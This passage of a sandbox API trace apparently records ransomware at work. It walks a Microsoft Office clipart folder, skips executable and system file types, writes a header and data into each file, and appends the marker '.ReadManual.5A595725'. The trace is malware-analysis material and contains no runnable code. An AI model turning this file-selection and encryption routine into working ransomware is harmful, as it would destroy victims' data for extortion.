lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39436929277) returned 1 [0273.701] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf")) returned 0x20 [0273.701] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.702] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3830) returned 1 [0273.702] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef6, lpName=0x0) returned 0x184 [0273.702] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb6) returned 1 [0273.703] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.703] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.704] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.704] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef6) returned 0x2f0000 [0273.704] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39437333026) returned 1 [0273.705] CloseHandle (hObject=0x184) returned 1 [0273.705] SetSecurityInfo () returned 0x57 [0273.705] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.705] CloseHandle (hObject=0x194) returned 1 [0273.705] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0273.705] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PRRTINST.WMF" | out: lpString1="PRRTINST.WMF") returned="PRRTINST.WMF" [0273.705] lstrcmpiW (lpString1="PRRTINST.WMF", lpString2="RecoveryManual.html") returned -1 [0273.705] StrStrIW (lpFirst="PRRTINST.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.705] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.705] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.705] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" [0273.705] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.ReadManual.5A595725" [0273.705] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.ReadManual.5A595725") returned 87 [0273.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39437420678) returned 1 [0273.705] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf")) returned 0x20 [0273.706] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.706] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31404) returned 1 [0273.706] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7aac, lpName=0x0) returned 0x184 [0273.706] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.707] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.707] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.709] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.709] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7aac) returned 0x2f0000 [0273.709] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.709] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39437813511) returned 1 [0273.709] CloseHandle (hObject=0x184) returned 1 [0273.709] SetSecurityInfo () returned 0x57 [0273.710] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.710] CloseHandle (hObject=0x194) returned 1 [0273.710] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0273.710] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PSRETRO.WMF" | out: lpString1="PSRETRO.WMF") returned="PSRETRO.WMF" [0273.710] lstrcmpiW (lpString1="PSRETRO.WMF", lpString2="RecoveryManual.html") returned -1 [0273.710] StrStrIW (lpFirst="PSRETRO.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.710] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.710] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.710] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" [0273.710] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.ReadManual.5A595725" [0273.710] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.ReadManual.5A595725") returned 86 [0273.710] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39437901111) returned 1 [0273.710] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf")) returned 0x20 [0273.711] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.711] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=982) returned 1 [0273.711] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d6, lpName=0x0) returned 0x184 [0273.712] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0273.712] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.712] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.714] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.714] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d6) returned 0x2f0000 [0273.715] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.715] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39438338554) returned 1 [0273.715] CloseHandle (hObject=0x184) returned 1 [0273.715] SetSecurityInfo () returned 0x57 [0273.715] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.715] CloseHandle (hObject=0x194) returned 1 [0273.715] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0273.715] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PSSKETLG.WMF" | out: lpString1="PSSKETLG.WMF") returned="PSSKETLG.WMF" [0273.715] lstrcmpiW (lpString1="PSSKETLG.WMF", lpString2="RecoveryManual.html") returned -1 [0273.715] StrStrIW (lpFirst="PSSKETLG.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.715] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.715] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.715] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" [0273.715] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.ReadManual.5A595725" [0273.715] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.ReadManual.5A595725") returned 87 [0273.715] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39438425901) returned 1 [0273.716] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf")) returned 0x20 [0273.716] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.717] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3594) returned 1 [0273.717] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe0a, lpName=0x0) returned 0x184 [0273.717] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.717] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.717] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.720] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.720] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe0a) returned 0x2f0000 [0273.720] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.720] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39438864818) returned 1 [0273.720] CloseHandle (hObject=0x184) returned 1 [0273.720] SetSecurityInfo () returned 0x57 [0273.720] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.720] CloseHandle (hObject=0x194) returned 1 [0273.720] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0273.720] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PSSKETSM.WMF" | out: lpString1="PSSKETSM.WMF") returned="PSSKETSM.WMF" [0273.720] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="RecoveryManual.html") returned -1 [0273.720] StrStrIW (lpFirst="PSSKETSM.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.720] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.720] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.721] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.721] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.721] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.721] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.721] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.721] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.721] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" [0273.721] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.ReadManual.5A595725" [0273.721] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.ReadManual.5A595725") returned 87 [0273.721] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39439193024) returned 1 [0273.723] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf")) returned 0x20 [0273.724] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.725] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1910) returned 1 [0273.725] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x776, lpName=0x0) returned 0x184 [0273.725] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.725] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.726] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.727] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.727] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x776) returned 0x2f0000 [0273.727] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.727] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39439617317) returned 1 [0273.727] CloseHandle (hObject=0x184) returned 1 [0273.727] SetSecurityInfo () returned 0x57 [0273.728] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.728] CloseHandle (hObject=0x194) returned 1 [0273.728] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0273.728] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PSWAVY.WMF" | out: lpString1="PSWAVY.WMF") returned="PSWAVY.WMF" [0273.728] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="RecoveryManual.html") returned -1 [0273.728] StrStrIW (lpFirst="PSWAVY.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.728] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.728] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.728] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" [0273.728] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.ReadManual.5A595725" [0273.728] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.ReadManual.5A595725") returned 85 [0273.728] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39439705641) returned 1 [0273.728] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf")) returned 0x20 [0273.729] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.729] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2834) returned 1 [0273.729] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb12, lpName=0x0) returned 0x184 [0273.729] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xba) returned 1 [0273.730] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.730] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, 